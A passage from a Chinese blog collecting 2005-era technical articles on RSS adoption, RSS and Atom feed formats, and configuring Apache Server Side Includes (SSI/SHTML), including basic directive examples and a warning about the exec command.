针对有网友说看不见文章内容, 现提示如下: 点击每一个标题行任一地方都会展开和隐藏此文章内容(不要点击标题). 目前展开隐藏功能只支持IE浏览器,虽然可以改成支持FF浏览器,不过现在一直没时间去弄,等有时间再修改了。 |
blog名称:乱闪Blog 日志总数:267 评论数量:1618 留言数量:-26 访问次数:2657415 建立时间:2005年1月1日 |
|

| |
中国RSS现状调查
|
引言
新闻出版行业在互联网方兴未艾的今天面临着众多的机遇和挑战。层出不穷的新技术使稳定、高效、实时、安全、低成本的新闻信息发布、接收、和使用越来越成为可能,而这些技术的实施和使用成本也在不断降低,越来越成为信息发布者和使用者日常生活、工作的一部分。
RSS技术就是互联网上最新技术的杰出代表,是新闻出版、信息发布、互动交流领域新技术的奇葩。
本文旨在介绍RSS技术的成长历史、国内外现状、和未来发展预测。此外,在文章后半部,我们介绍了看天下,国内最大的中文RSS技术和服务提供商,其服务体系架构,以及其针对新闻出版业的RSS电子出版解决方案。
RSS技术简介RSS技术的发展历程
RSS是“Rich Site Summary”或“Really Simple Syndication”的英文首字母缩写,中文称作“简易信息聚合”。RSS是一种基于XML标准,在互联网上被广泛采用的内容包装和投递协议。
RSS技术诞生于1999年的网景公司(Netscape)。当时网景公司定义了一套描述新闻频道的语言,RSS,用于将网站内容投递到Netscape Navigator互联网浏览器中。但由于公司内部商务决策、当时互联网内容匮乏等诸多原因,网景最终只发布了一个0.9版本的规范。微软当时也推出了类似的数据规格,与RSS非常接近,试图利用新闻频道的架构把“推”(Push)技术变成一个应用主流,捆绑在IE浏览器中与Netscape Navigator抗衡。不过无奈的是,由于当时互联网访问速度慢、内容缺乏、用户不熟悉等原因,这个“推”技术自始至终没有得到市场的广泛支持。
但是随着时间的推移,RSS技术随着XML技术的发展和博客群体的快速增长,逐渐被人们广泛地接受,其应用范围也已经跳出单纯的博客圈,成为新闻传媒、电子商务、企业知识管理等众多领域的不可缺少的新技术。2001年,RSS技术标准的发展工作被戴夫·温那(Dave Winer)的公司UserLand所接手,继续开发新的版本,以适应新的网络应用需要。通过戴夫·温那的努力,RSS升级到了0.91版,然后达到了0.92版,并随后被众多的专业新闻站点所接受和支持。在广泛的应用过程中,众多的专业人士认识到需要组织起来,把RSS发展成为一个通用的规范,并进一步标准化。一个联合小组根据W3C新一代的语义网技术RDF对RSS进行了重新定义,发布了RSS 1.0版,并把RSS定义为“RDF Site
Summary”。这项工作并没有与戴夫·温那进行有效的沟通,而戴夫则坚持在自己设想的方向上进一步开发RSS的后续版本2.0,同时也并不承认RSS 1.0的有效性。RSS由此开始分化形成了RSS 0.9x/2.0和RSS 1.0两个阵营。
戴夫·温那在2002年9月独自把RSS升级到了2.0版本,并交由哈佛大学法学院Berkman互联网和社会学中心进行维护。而RSS 1.0版则仍然由W3C联合小组维护。
最近,著名的互联网搜索引擎公司GOOGLE收购了美国大型的博客服务网站www.blogger.com, 使这个网站一直采用的一种近似于RSS的技术衍生版Atom一夜之间成为RSS领域标准之争的新的有力竞争对手。目前,这三个技术标准阵营(RSS 0.9x/2.0,RSS 1.0,Atom 0.3) 正在展开相互兼容的对话,相信在不久的将来会有积极的结果。
尽管技术标准有差异,但是目前市场上的RSS内容阅读软件,包括唯一专业的中文RSS阅读器 - 看天下 - 都是支持所有这三种技术标准的。也就是说,无论RSS内容提供者决定采用哪一种标准来包装自己的内容,对看天下阅读器软件的用户是透明的,无影响的。
RSS技术的特点
RSS通过XML标准定义内容的包装和发布格式,使内容提供者和接收者都能从中获益。对内容提供者来说,RSS技术提供了一个实时、高效、安全、低成本的信息发布渠道;对内容接收者来说,RSS技术提供了一个崭新的阅读体验。RSS技术几大显著特性简述如下:
l 来源多样的个性化“聚合”特性
因为RSS是一种被广泛采用的内容包装定义格式,所以任何内容源都可以采用这种方式来发布信息,包括专业新闻站点、电子商务站点、企业站点、甚至个人站点等。而在用户端,RSS阅读器软件的作用就是按照用户的喜好,有选择性地将用户感兴趣的内容来源“聚合” 到该软件的界面中,为用户提供多来源信息的“一站式” 服务。
l 信息发布的时效、低成本特性
RSS技术秉承“推”信息的概念,当新内容在服务器数据库中出现时第一时间被“推”到用户端阅读器中,极大地提高了信息的时效性和价值。此外,服务器端内容的RSS包装在技术实现上极为简单,而且是一次性的工作,使长期的信息发布边际成本几乎降为零,完全是传统的电子邮件、卫星传输、互联网浏览等发布方式所无法比拟的。
l 无“垃圾”信息、便利的本地内容管理特性
RSS用户端阅读器软件的特点是完全由用户根据自身喜好以“频道”的形式订阅值得信任的内容来源,如“新华网国际新闻”、“中国汽车网市场行情”、“天极网IT产品资讯”等。RSS阅读器软件完全屏蔽掉其他所有用户没有订阅的内容以及弹出广告、垃圾邮件等令人困扰的噪音内容。此外,对下载到阅读器软件本地的订阅RSS内容,用户可以进行离线阅读、存档保留、搜索排序、相关分类等多种管理操作,使阅读器软件不仅是一个“阅读”器,更是一个用户随身的“资料库”。
RSS技术在国外的发展现状市场统计
RSS技术在西方发达国家,尤其是美国,已经达到了相当大的规模。据不完全统计,美国提供RSS内容的网站数目从2001年9月的1千余家激增至2004年9月的19万5千余家,短短的三年中增长了近150倍,市场的飞速发展令人嘱目。
美国RSS市场内容提供商数
在这些RSS内容提供商中,固然有许多是博客网站和个人,但更多的是认识到RSS技术的先进性、优越性的商业网站,把对RSS技术的支持当作增加网站流量、推广网站品牌、更好地为用户服务的重要手段。随着RSS内容数量的激增,RSS用户数也取得了飞速的发展(从2001年8月的10万用户激增到2004年8月的近9百万,见下图)。
美国RSS市场用户数
典型案例分析
在众多支持和运用RSS技术的商业网站中,最具代表性的是华尔街日报电子版、纽约时报电子版、和迪斯尼公司的企业内部知识管理平台。
华尔街日报电子版
<<华尔街日报>>是道琼斯麾下美国最权威的金融业出版媒体。其网站电子版(www.wsj.com)以年费79美金的价格向社会公众出售内容服务。在该站支持RSS之前,用户获取内容的方式为:1)直接访问该站站点;2)电子邮件新闻提示。
认识到以上两种内容发布方式的缺点,华尔街日报电子版于2004年初推出了RSS服务,一共推出了包括美国新闻、欧洲新闻、亚洲新闻、科技新闻、商业新闻、股市传真、专家评论、个人技术等8个频道。详细情况请参见其官方网站:http://online.wsj.com/public/page/0,,0_0813,00.html
RSS服务的推出为华尔街日报电子版带来了以下收获(引用项目经理Mike Jones的话):
l RSS技术的实时性使订户能够更及时、更便捷地得到第一手新闻信息资讯,从而提高华尔街日报电子版的服务质量和客户满意度;
l 向公众提供免费的RSS新闻标题,让更多的人了解华尔街日报内容的精彩和高质量,有助于提高订阅用户数以及推广华尔街日报电子版的品牌和市场。
纽约时报电子版
<<纽约时报>>历来是美国新闻业的领头羊。面对来自其他众多媒体的竞争,她在2004年初也选择了RSS作为提高用户服务水平、推广内容及品牌、增加订阅用户的重要手段。
纽约时报的RSS频道划分比华尔街日报更加详细,一共提供了包括商业新闻、汽车新闻、艺术新闻、时尚资讯、科技新闻、旅游资讯、体育新闻、2004大选等28个频道供用户选择。详细情况请参见其官方网站:http://www.nytimes.com/services/xml/rss/
纽约时报电子版(www.NYTimes.com) 的技术负责人 Christine Mohan 总结了支持RSS的三大优点:
l 将新闻资讯更快、更及时地送到用户手中,增加了内容的价值和用户满意度;
l 以RSS新闻标题和摘要为“诱饵”,吸引了更多的眼球,增加了网站流量;
l 使更多的潜在用户了解纽约时报的质量和价值,促进了订阅量的增长。
迪斯尼知识管理平台
RSS技术不仅在对外新闻信息发布领域有独特的优势,而且在企业内部知识管理、信息共享方面也有着广阔的应用空间。迪斯尼就是最好的例子。
迪斯尼是全球最负盛名的娱乐产品、资讯提供商。无论是电影、卡通产品的制作,还是体育、娱乐资讯的采编都需要大量不同专长的人员的协作。因此,平滑高效的知识管理和信息共享是迪斯尼公司的头等大事。
尽管拥有市场上常见的几乎所有知识管理软件,迪斯尼还是无法尽善尽美地实现多对多的、个性化的、实时的、支持本地内容管理的信息共享目标。于是他们求助于RSS技术和与之共生的博客技术,来搭建新一代的信息共享平台。具体做法是:参与项目的专家和管理者各自拥有其个人博客站点(当然是依托在迪斯尼企业内网上,受其企业防火墙保护的),每个人把新想法、新内容、消息、计划、讨论等内容都写在自己的博客站点中并通过RSS对外发布,而其他成员利用RSS阅读器订阅这些RSS发布,获取最新资讯,并利用RSS阅读器中的回复发布功能达到与该成员交流、共享的目的。
迪斯尼主管新技术研究的付总裁 Mike Pusateri 是如此评论用RSS和博客技术搭建的新一代知识管理、信息共享平台的:
l 该平台使信息的交互变得非常及时,大大提高了参与者的工作效率和积极性;
l 该平台使每一个参与者更方便、更有效地管理其接收和发布的内容;
l 鼓励多对多的交流,并促进大家就某一话题展开深入的讨论。
RSS技术在国内的发展现状现状概述
在国内,RSS技术的普及和市场的发展正处于启蒙时期。据看天下不完全推算,目前国内的RSS用户数大约在20万左右(其中看天下RSS阅读器占据相当的市场份额,其余除新浪点点通外主要为国外RSS阅读器的汉化产品)。此外,国内的RSS内容提供商数目也还不是很多,目前由看天下整理的中文RSS地址目录中显示大约有500家网站提供了RSS内容。
然而,中国RSS市场发展的趋势是非常令人振奋的。最近一批著名的有影响力的网站先后推出了RSS内容服务,对RSS市场的发展起到了很好的促进作用,他们包括:
l 新浪网
l 新华网
l 百度新闻
l 计世网
l 天极网
l 阿里巴巴
l 中国汽车网
l 天一证券
还有相当数量的网站已经在对RSS技术作深入的研究,并计划在未来的一段时间内推出RSS服务。
未来展望大众互联网
RSS技术在中国大众互联网中的普及是有其基础和必然性的。首先,大量新网站和内容源的不断涌现和用户获取信息口味的多样化使RSS作为个性化聚合内容的最佳手段得到越来越多的用户的重视和钟爱。其次,越来越多的内容提供者为推广自身品牌,获得更大客户群而纷纷推出RSS服务,以期为他们的内容带来更大的流量和知名度。再其次,目前的商业门户网站出于自身商业利益的考虑,把用户信息获取的环境搞得日益恶劣,弹出广告、垃圾邮件、不健康内容等充斥屏幕,而真正有价值的信息却无从寻觅。这些都迫使广大用户呼唤一种新的互联网阅读体验,一种他们可以控制、自己作主的新型“门户”体验,从而为RSS的普及奠定了良好的基础。
新闻出版业
在新闻出版领域,RSS技术作为电子出版的一个新型渠道(象华尔街日报电子版这样的案例)已经在新华社等新闻机构得到了有益的尝试,并逐渐成熟走向商业化。相信在不久的未来,RSS技术会成为新闻出版业的一项主流成熟技术被广泛应用。
企业知识管理领域
目前尚处于萌芽时期,象迪斯尼这样的经典案例还没有出现。但随着企业管理者对博客概念观念的转变和对其技术的更深刻理解,利用这项新技术来为企业知识管理、信息共享服务的浪潮相信会很快地到来。 |
|
RSS技术
|
摘要:RSS(简单信息聚合)已被广泛接受应用,RSS站点资源的丰富正影响着互联网内容的浏览利用。本文综合性分析介绍RSS概念、特性、实现方式、标准规范、联合聚合及在中国科学院网站的初步应用。 关键词:RSS、信息聚合、网站建设 RSS的概念 RSS是一种用于共享新闻和其他Web内容的数据交换规范,起源于网景的推技术,是一种基于XML标准的Syndication技术和在互联网上被广泛采用的内容包装和投递协议,可以是Really Simple Syndication(真正简单的整合)、RDF Site Summary (RDF站点摘要) 、Rich Site Summary(丰富站点摘要)三个解释的其中一个。
RSS的应用与特性
RSS通过XML标准定义内容的包装和发布格式,为内容提供者提供实时、高效、安全、低成本的信息发布渠道,是一种增加网站流量、推广网站品牌、更好为用户服务的重要手段;为内容接收者提供崭新阅读体验,不用一个个去开页面即能很快地知道所关注网络内容是否更新。
RSS目前广泛用于blog(Web Log)、wiki和网上新闻频道,世界多数知名新闻社网站都提供RSS订阅支持。国外运用RSS技术的商业网站中最具代表性的是华尔街日报电子版、纽约时报电子版、和迪斯尼公司的企业内部知识管理平台[1]。国内最早有新华网于2004年8月提供此服务[2],目前新浪网、百度新闻、计世网、天极网、阿里巴巴、中国汽车网、天一证券、blogchina.com、大洋网、一些大型论坛等均支持。日后将会在大众互联网、新闻出版业、企业知识管理等领域有更深入应用。其优点主要是:
(1) 信息来源多样、聚合个性化。专业新闻站点、电子商务站点、企业站点、个人站点等任何内容源都可以发布信息,用户可按照自已喜好将感兴趣内容来源“聚合”,类似阅读电子邮件一样享受多来源信息的“一站式” 服务。
(2) 技术难度低、信息发布时效强。RSS是一种简单和成功的XML应用,实现容易,且在新内容包装后的第一时间能被用户阅读。
(3) 信息无干扰、资料可管理。读者具有对订阅内容的控制筛选权,没有广告或者图片来影响标题与概要的阅读,并可通过阅读器对下载内容进行离线阅读、存档保留、搜索排序、分类等操作。
RSS的实现方式
RSS作为 Web 上散布新闻的机制和站点间共享内容的方式,实现方法是内容提供商封装输出RSS Feed(提要),内容订阅者通过RSS聚合器读取RSS提要并显示新闻项
RSS 提要是一个定期更新的 XML 格式文档,一般以rss,xml或者rdf作为扩展名,可以通过URL获得,其中包含有关新闻源和其中内容的元数据。一个 RSS 提要至少应包含一个代表新闻源的 channel,channel 包含一个标题、链接和描述新闻源的说明。此外,一个 RSS 提要通常会包含一个或多个代表单个新闻项的 item 元素,其中每个元素都应包含一个标题、链接或说明。
网络用户在客户端借助于支持RSS新闻聚合工具软件,一般需要下载和安装一个RSS新闻阅读器,然后从网站提供的聚合新闻目录列表中订阅您感兴趣的栏目内容。订阅后,可在不打开网站内容页面的情况下及时获得所订阅新闻频道的最新内容。
用户以“频道”的形式订阅,增加单个频道时为输入RSS的URL地址,订阅多个频道时可通过OPML实现“导入”“导出”。OPML(Outline Processor Markup Language)为建立在XML基础上的“大纲处理标记语言”[3],用于描述资料的结构和存储提要列表信息,主要由<head>项的<title>和<body>项的<outline ... />组成,outline中有text、title、type、version、htmlUrl、xmlUrl等属性,其格式标准可参见http://www.opml.org/spec 。
RSS的标准规范
RSS规范有多个版本。最初版本0.9在1999年诞生于网景公司(Netscape),Userland Software2001年接手后发展 出RSS 的简化版本0.91、0.92、0.93 和 0.94,并于2002年9月推出后续版本2.0,全称定为“Really Simple Syndication”。其间有联合小组根据W3C新一代语义网技术把RSS定义为“RDF(Resource Description Framework) Site Summary”,发布RSS 1.0版。0.9x版和2.0版一脉相承,1.0版与其完全不同,双方互不认可。 另有小组为解决以上混乱与不足,创建着希望能不依赖于供货商、任何人都可以对之进行自由扩展的Atom(原子)标准[4]。互联网搜索引擎公司GOOGLE等目前支持Atom。因此RSS实际分化为三个技术标准阵营(RSS 0.9x/2.0,RSS 1.0,Atom 0.3) 。
RSS规范的多个版本中,主要使用的是RSS0.92、RSS 2.0和RSS 1.0。提要中Rss0.92/2.0根节点为<rss …></rss>,RSS1.0根节点为<rdf …></rdf>,Atom0.3根节点为<feed …></feed>,频道<channel>项属性一般为<title><link><description>,Atom0.3的标记名略有不同,并引入最后发布日期<modified>属性,各版本中主体<item>项均为<title> <description> <link> <author> <pubDate>等属性,具体参考相关标准[5][6][7]。尽管技术标准有差异,但是目前RSS内容阅读软件大都同时支持,即无论RSS内容提供者采用哪一种标准来包装推送,对用户是透明和无影响的。
RSS的联合与聚合
互联网上发布的RSS Feed中信息均能直接被其他站点调用和在其他的终端和服务中使用,如PDA、手机、邮件列表等。RSS的联合(Syndication)指网站联盟(专门网站)能通过互相调用彼此的RSS Feed,自动显示联盟中其他站点的最新信息。这种联合加强了信息共享,能形成站点内容更新与知名度高的良性循环,同时也发展出大量基于RSS的专业门户、聚合站点和更精确的搜索引擎。目前中文RSS搜索引擎有:中文RSS搜索引擎http://www.feedss.com、FeedSearch Blog搜索 http://www.FeedSearch.net、RSS聚网 http://www.rssnet.cn/;八方-中文Blog/RSS/ATOM/博客搜索引擎 http://www.8fang.net/
文章收藏, 电脑与网络 乱闪 发表于 2005/11/19 12:36:55 |
| | |
Apache指南:服务器端包含入门
|
服务器端包含提供了一种对现有HTML文档增加动态内容的方法。
概要
什么是SSI?
配置服务器以允许SSI
基本SSI指令
附加的例子
其他的设置
执行命令
高级SSI技术
总结
概要
相关模块
相关指令
mod_include
mod_cgi
mod_expires
Options
XBitHack
AddType
SetOutputFilter
BrowserMatchNoCase
本文针对服务器端包含(Server Side Includes),通常简称为SSI,讨论如何配置服务器以允许SSI,并介绍一些对现有HTML页面增加动态内容的基本SSI技术。
本文后部将讨论用SSI做一些应该算比较高级的事情,比如SSI指令中的条件语句。
什么是SSI?
SSI (Server Side Includes)是HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。
对什么时候用SSI,而什么时候用某些程序生成整个页面的权衡,取决于页面中有多少内容是静态,有多少内容需要在每次页面被提供时重新计算。SSI是一种增加小段信息的好方法,诸如当前时间。如果你的页面大部分是在被提供时生成的,那就要另找方案了。
配置服务器以允许SSI
要使服务器允许SSI,必须在httpd.conf文件或.htaccess文件中有如下配置:
Options +Includes
告诉服务器以允许解析文件中的SSI指令。注意,在多数配置中,多个Options指令会互相覆盖,所以,可能必须对需要SSI的特定目录使用Options,以确保位于最后并起作用。
并不是所有文件中的SSI指令都会被解析,所以,必须告诉Apache应该解析哪些文件。有两种方法,使Apache解析带有特定文件后缀的任何文件,比如.shtml, 配置如下:
AddType text/html .shtml AddOutputFilter INCLUDES .shtml
这种方法的缺点之一是,为了使文件名有.shtml后缀从而执行其中的指令,可能需要改变加入SSI指令的现有的文件,以及所有指向此页面的连接。
另一种方法是,使用XBitHack指令:
XBitHack on
XBitHack告诉Apache解析有执行权限的文件中的SSI指令。如此,只要用chmod使文件变成可执行的,就可以对现有的页面增加SSI指令。
chmod +x pagename.html
这里简要说明一点:偶然会有人向你推荐,无须用带.shtml的文件名,使Apache解析所有.html文件的SSI就可以了。那些人可能没听说过XBitHack。要知道,这样做会使Apache在发送文件到客户端之前通读此文件,即使其中并没有任何SSI指令,从而对速度有不小影响,所以这并不是好办法。
当然,在Windows上,没有对应的执行权限可以设置,但还是应该谨慎选择。
按缺省配置,Apache不会为SSI页面发送最后修改日期或者内容长度的HTTP头,因为这些值对动态页面来说难以计算。这样会阻止页面被缓冲,导致客户端性能有能够感觉到的下降。有两种解决方法:
使用XBitHack Full配置。它告诉Apache判断最后修改日期时,只查看被请求的文件本身的日期,而忽略其中包含的任何文件的修改日期。
使用mod_expires提供的指令为文件设置一个明确的过期时间,并告诉浏览器和代理这个文件可以被缓冲。
基本SSI指令
SSI指令有如下语法:
<!--#element attribute=value attribute=value ... -->
其格式很象HTML的注释,因此如果没有正确配置SSI,它会被浏览器忽略,但在HTML代码中仍然可见。而如果正确配置了SSI,则此指令会被其结果替代。
其中的元素可以有许多,我们会在下一个版本的文档中讨论其中的大多数,而在这里,仅举几个SSI的例子。
今天的日期
<!--#echo var="DATE_LOCAL" -->
echo元素仅仅是反馈一个变量的值。标准变量有许多,其中包含对CGI程序有效的所有的环境变量。另外,你也可以用set元素定义你的专用变量。
如果你不喜欢日期的这种打印格式,可以用config元素的timefmt属性,改变其格式。
<!--#config timefmt="%A %B %d, %Y" --> Today is <!--#echo var="DATE_LOCAL" -->
文件的修改日期
This document last modified <!--#flastmod file="index.html" -->
这个元素也是使用timefmt的格式配置。
包含一个CGI程序的输出
这是SSI的很常见的一个用途-包含一个CGI程序的输出,比如人人喜欢的``点击计数器''。
<!--#include virtual="/cgi-bin/counter.pl" -->
附加的例子
以下是一些对HTML文档使用SSI的特殊例子。
文档是什么时候被修改的?
此前,我们提到过可以用SSI通知用户文档是什么时候被修改的,但是其具体实施方法却基本上是个问题。以下代码,放在HTML文档中,会在页面中产生一个时间戳,当然,首先,你必须按上述方法使SSI有效。
<!--#config timefmt="%A %B %d, %Y" --> This file last modified <!--#flastmod file="ssi.shtml" -->
不用说,你应该用你实际引用的文件名来替换ssi.shtml,所以,如果你想简单地在任何文件中粘贴一段通用代码以达到这个目的,这个方法就并不方便,如此,就会用到LAST_MODIFIED变量:
<!--#config timefmt="%D" --> This file last modified <!--#echo var="LAST_MODIFIED" -->
有关timefmt格式的细节,可以到搜索站点查找strftime,其语法是相同的。
包含一个标准注脚
如果你管理一个拥有许多页面的站点,你会发现对所有页面做改动是很痛苦的,尤其是在试图对所有页面维持某种标准观感的时候。
使用包含一个页眉和/或注脚的方法,可以减轻修改的负担。你只要制作一个注脚文件,并用includeSSI命令包含到每个页面,即可。include元素能按file属性或者virtual属性判断应该包含的文件。file属性是一个相对于当前目录的文件路径,即不能是一个绝对文件路径(以/开头)。virtual属性可能更有用,它是一个相对于被提供文档的URL,可以以/开头,但必须与被提供文档在同一个服务器。
<!--#include virtual="/footer.html" -->
SSI指令和注脚文件相结合使用是很有用的,比如在注脚文件中使用LAST_MODIFIED指令。SSI指令可以出现在包含文件中,而include可以嵌套,即一个包含文件可以包含另一个。
其他的设置
config除了能设置时间格式,还有两种用途。
当SSI指令发生错误时,会产生如下消息:
[an error occurred while processing this directive]
为了改变消息的形式,可以使用config元素的errmsg属性:
<!--#config errmsg="[It appears that you don't know how to use SSI]" -->
当然,最终用户永远也不会看到这个消息,因为在网站投入运行之前你已经把这些问题都解决了(是吗?)。
还可以使用config的sizefmt属性设置返回的文件大小的格式,或者是以字节为单位,或者是以Kb或Mb为单位的简写。
执行命令
我期望未来几个月内能再写一篇小型CGI程序使用SSI的文章,而这里,仅介绍exec的使用。SSI确实可以利用shell(/bin/sh,精确地说,还可以是Win32中的DOS shell)来执行命令。下例产生一个目录列表:
<pre> <!--#exec cmd="ls" --> </pre>
在Windows中:
<pre> <!--#exec cmd="dir" --> </pre>
你可能会发现,在Windows中这个指令的结果有些奇怪,dir的输出中包含有字串``<dir>'',它会使浏览器产生混淆。
注意,这个功能是极度危险的,因为它会执行任何包含在exec标记中的命令。如果用户有可能修改你的网页内容,比如“留言本”,那么你一定要关闭这个功能。在Options指令中加上IncludesNOEXEC参数,以关闭exec功能,同时又保留SSI。
高级SSI技术
除了分离内容,Apache SSI还可以设置用以比较和条件表达式的变量。
警告
本文中讨论的大多数功能仅在Apache 1.2及更新版本中有效。如果你运行的不是Apache 1.2及更新版本,请立刻或者尽快升级,现在就动手,我们会等你弄好了再继续往下讲。
设置变量
使用set指令可以设置变量以备后用,其语法是:
<!--#set var="name" value="Rich" -->
除了设置文字变量以外,还可以设置其他任何变量,比如环境变量和此前提到过的一些变量(如LAST_MODIFIED),作为你的专用变量。在变量名前面缀以$,表示它是一个变量,而不是一个文字性字串。
<!--#set var="modified" value="$LAST_MODIFIED" -->
在文字性字串中使用$,必须使用转义符号\
<!--#set var="cost" value="\$100" -->
最后,如果要在较长的字串中,可以用花括号把变量名括起来,以免变量名与其他字符之间冲突而产生混淆(要对这种情况举例说明有点难度,但还是希望你能领会)。
<!--#set var="date" value="${DATE_LOCAL}_${DATE_GMT}" -->
条件表达式
有了变量,就可以设置和比较它们的值以表示条件,SSI也因此成为一种简洁的编程语言。mod_include提供了if, elif, else和endif等结构以构造条件语句,从而对一个实在的页面高效地生成多个逻辑的页面。
条件的结构如下:
<!--#if expr="test_condition" --> <!--#elif expr="test_condition" --> <!--#else --> <!--#endif -->
test_condition可以是任何逻辑比较 - 可以是一个值和另一个值比较,也可以是测试一个特定的值是否为“真”(一个给定的字串如果非空则为真)。完整的比较操作符列表,见mod_include。以下是可能会用到的一些例子。
在配置文件中,可以这样设置:
BrowserMatchNoCase macintosh Mac BrowserMatchNoCase MSIE InternetExplorer
如果客户端在Macintosh上运行Internet Explorer,则上例设置环境变量``Mac'' 和``InternetExplorer''为真。
然后,在允许SSI的文档中,可以这样设置:
<!--#if expr="${Mac} && ${InternetExplorer}" --> Apologetic text goes here <!--#else --> Cool JavaScript code goes here <!--#endif -->
我一点也不反对在Mac上运行IE - 只是上个星期我花了好几个小时试图在Mac上的IE中使用JavaScript,而它在其他地方都能正常运作,以上只是一个临时的妥协方案。
任何其他变量(或者是你定义的,或者是标准的环境变量)都可以用于条件语句。利用Apache的SetEnvIf以及其他相关指令设置环境变量,此功能可以很好地实现动态页面而无须借助于CGI。
总结
SSI固然不能替代CGI或者其他动态页面技术,但它是在页面中插入众多小型的动态片段的优秀方法,而无须大量额外的操作。 |
|
SHTML - SSI技术
|
概要:
什么是shtml SHTML语法 SHTML教程 格式 编写 技术
使用SSI (Server Side Include)技术
想要找到既富有创意的平面设计人员,又有脚本开发经验的人员,实在是太难了。而如果一个百分之百的页面都是php脚本的网站,将为页面维护带来非常大的困难。而且使用了php的自动加头和加尾的方法,使得几乎所有页面都是语义不完整的,不能借助任何一款页面设计工具工作,是另一个弊病。
利用SSI技术,可以有效的将HTML网页和CGI脚本逻辑上分开,也可以将重复的HTML元素抽象和独立出来,减轻维护负担。
SSI (Server Side Includes) are directives that are placed in HTML pages, and evaluated on the server while the pages are being served. They let you add dynamically generated content to an existing HTML page, without having to serve the entire page via a CGI program, or other dynamic technology.
全文:
配置Apache,支持SSI
# This tells Apache that you want to permit files to # be parsed for SSI directives.
Options +Includes# At linux or unix can use # Options +Includes -IncludesNOEXEC # win32 not use it
# You have to tell Apache which files should be parsed.
AddType text/html .shtml
AddHandler server-parsed .shtml
SSI语法
Basic SSI directives Syntax
<!--#element attribute=value attribute=value ... -->
Today's date
<!--#config timefmt="%Y/%m/%d %a %H:%M:%S" -->
Today is <!--#echo var="DATE_LOCAL" -->
Modification date of the file
This document last modified <!--#flastmod file="index.html" -->
Including the results of a CGI program
<!--#include virtual="/cgi-bin/counter.pl" -->
<!--#include virtual="/cgi-bin/example.cgi?argument=value" -->
You can use "#exec cgi=" directive, but it can be disabled using the IncludesNOEXEC Option.
Including a standard footer
<!--#include virtual="/footer.html" -->
Executing commands
<!--#exec cmd="ls" -->
This feature is dangerous. You can allow SSI, but not the exec feature, with the IncludesNOEXEC argument to the Options directive.
Setting variables
<!--#set var="modified" value="$LAST_MODIFIED" -->
<!--#set var="date" value="${DATE_LOCAL}_${DATE_GMT}" -->
Conditional expressions
<!--#if expr="test_condition" -->
<!--#elif expr="test_condition" -->
<!--#else -->
<!--#endif -->
1、Config命令
Config命令主要用于修改SSI的默认设置。其中:
Errmsg:设置默认错误信息。为了能够正常的返回用户设定的错误信息,在HTML文件中Errmsg参数必须被放置在其它SSI命令的前面,否则客户端只能显示默认的错误信息,而不是由用户设定的自定义信息。
<!--#config errmsg="Error! Please email webmaster@mydomain.com -->
Timefmt:定义日期和时间的使用格式。Timefmt参数必须在echo命令之前使用。
<!--#config timefmt="%A, %B %d, %Y"--> <!--#echo var="LAST_MODIFIED" -->
显示结果为: Wednesday, April 12, 2000
也许用户对上例中所使用的%A %B %d感到很陌生,下面我们就以表格的形式总结一下SSI中较为常用的一些日期和时间格式。 www.domain.com
Sizefmt:决定文件大小是以字节、千字节还是兆字节为单位表示。如果以字节为单位,参数值为"bytes";对于千字节和兆字节可以使用缩写形式。同样,sizefmt参数必须放在fsize命令的前面才能使用。
<!--#config sizefmt="bytes" --> <!--#fsize file="index.html" -->
2、Include命令
Include命令可以把其它文档中的文字或图片插入到当前被解析的文档中,这是整个SSI的关键所在。通过Include命令只需要改动一个文件就可以瞬间更新整个站点!
Include命令具有两个不同的参数:
Virtual:给出到服务器端某个文档的虚拟路径。例如:
<!--#include virtual="/includes/header.html" -->
File:给出到当前目录的相对路径,其中不能使用"../",也不能使用绝对路径。例如:
<!--#include file="header.html" -->
这就要求每一个目录中都包含一个header.html文件。
3、Echo命令
Echo命令可以显示以下各环境变量:
DOCUMENT_NAME:显示当前文档的名称。
<!--#echo var="DOCUMENT_NAME" -->
显示结果为:
index.html
DOCUMENT_URI:显示当前文档的虚拟路径。例如:
<!--#echo var="DOCUMENT_URI" -->
显示结果为:
/YourDirectory/YourFilename.html
随着网站的不断发展,那些越来越长的URL地址肯定会让人头疼。如果使用SSI,一切就会迎刃而解。 |
|
shtml精简教程
|
SSI有什么用? 之所以要扯到ssi,是因爲shtml--server-parsed HTML 的首字母缩略词。包含有嵌入式服务器方包含命令的 HTML 文本。在被传送给浏览器之前,服务器会对 SHTML 文档进行完全地读取、分析以及修改。 shtml和asp 有一些相似,以shtml命名的文件里,使用了ssi的一些指令,就像asp中的指令,你可以在SHTML文件中写入SSI指令,当客户端访问这些shtml文件时, 服务器端会把这些SHTML文件进行读取和解释,把SHTML文件中包含的SSI指令解释出来比如:你可以在SHTML文件中用SSI指令引用其他的html文件(#include ),服务器传送给客户端的文件,是已经解释的SHTML不会有SSI指令。它实现了HTML所没有的功能,就是可以实现了动态 的SHTML,可以说是HTML的一种进化吧。像新浪的新闻系统就是这样的,新闻内容是固定的但它上面的广告和菜单等就是用#include引用进来的。
目前,主要有以下几种用用途: 1、显示服务器端环境变量<#echo> 2、将文本内容直接插入到文档中<#include> 3、显示WEB文档相关信息<#flastmod #fsize> (如文件制作日期/大小等) 4、直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序) 5、设置SSI信息显示格式<#config>(如文件制作日期/大小显示方式) 高级SSI<XSSI>可设置变量使用if条件语句。 使用SSI SSI是为WEB服务器提供的一套命令,这些命令只要直接嵌入到HTML文档的注释内容之中即可。如: <!--#include file="info.htm"--> 就是一条SSI指令,其作用是将"info.htm"的内容拷贝到当前的页面中,当访问者来浏览时,会看到其它HTML文档一样显示info.htm其中的内容。 其它的SSI指令使用形式基本同刚才的举例差不多,可见SSI使用只是插入一点代码而已,使用形式非常简单。 当然,如果WEB服务器不支持SSI,它就会只不过将它当作注释信息,直接跳过其中的内容;浏览器也会忽略这些信息。 如何在我的WEB服务器上配置SSI功能? 在一些WEB服务器上(如IIS 4.0/SAMBAR 4.2),包含 #include 指令的文件必须使用已被映射到 SSI 解释程序的扩展名;否则,Web 服务器将不会处理该SSI指令;默认情况下,扩展名 .stm、.shtm 和 .shtml 被映射到解释程序(Ssinc.dll)。 Apache则是根据你的设置情况而定,修改srm.conf如: AddType text/x-server-parsed-html .shtml 将只对.shtml扩展名的文件解析SSI指令 AddType text/x-server-parsed-html .html将对所有HTML文档解析SSI指令 Netscape WEB服务器直接使用Administration Server(管理服务器)可打开SSI功能。 Website使用Server 